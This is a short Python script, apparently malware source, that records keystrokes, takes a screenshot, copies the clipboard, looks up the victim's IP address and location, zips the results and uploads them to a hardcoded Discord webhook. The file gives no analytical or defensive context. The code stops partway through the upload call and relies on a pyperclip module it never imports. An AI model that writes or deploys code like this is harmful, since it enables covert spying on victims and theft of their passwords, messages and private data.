import os
import zipfile
import pyautogui
import requests
from pynput import keyboard
from datetime import datetime
from PIL import ImageGrab

# Obfuscated function to capture a screenshot
def f1():
    s = ImageGrab.grab()
    s.save("screenshot.png")

# Obfuscated function to get clipboard data
def f2():
    with open('clipboard.txt', 'w') as f:
        f.write(pyperclip.paste())

# Obfuscated function to capture keystrokes
def f3(k):
    try:
        with open('keylog.txt', 'a') as f:
            f.write(f'{datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {k.char}\n')
    except AttributeError:
        with open('keylog.txt', 'a') as f:
            f.write(f'{datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {k}\n')

l = keyboard.Listener(on_press=f3)
l.start()

# Capture a screenshot
f1()

# Get clipboard data
f2()

# Wait for a few seconds to capture more keystrokes
import time
time.sleep(5)

# Stop the keystroke listener
l.stop()

# Get IP address and approximate location
response = requests.get('https://ipinfo.io/json')
data = response.json()
with open('ipinfo.txt', 'w') as f:
    f.write(f'IP: {data["ip"]}\nLocation: {data["city"]}, {data["region"]}, {data["country"]}\n')

# Zip all captured data
with zipfile.ZipFile('captured_data.zip', 'w') as zf:
    zf.write('screenshot.png')
    zf.write('clipboard.txt')
    zf.write('keylog.txt')
    zf.write('ipinfo.txt')

# Send the zip file to Discord
with open('captured_data.zip', 'rb') as f:
    requests.post('https://discord.com/api/webhooks/1532569659688353835/2GVJ5eWcRfDH4FOyBPYQviYr2R5fDU1vjFFGisDAlaVR-I8dvpQ31KuvYiGJ1OR8uIxw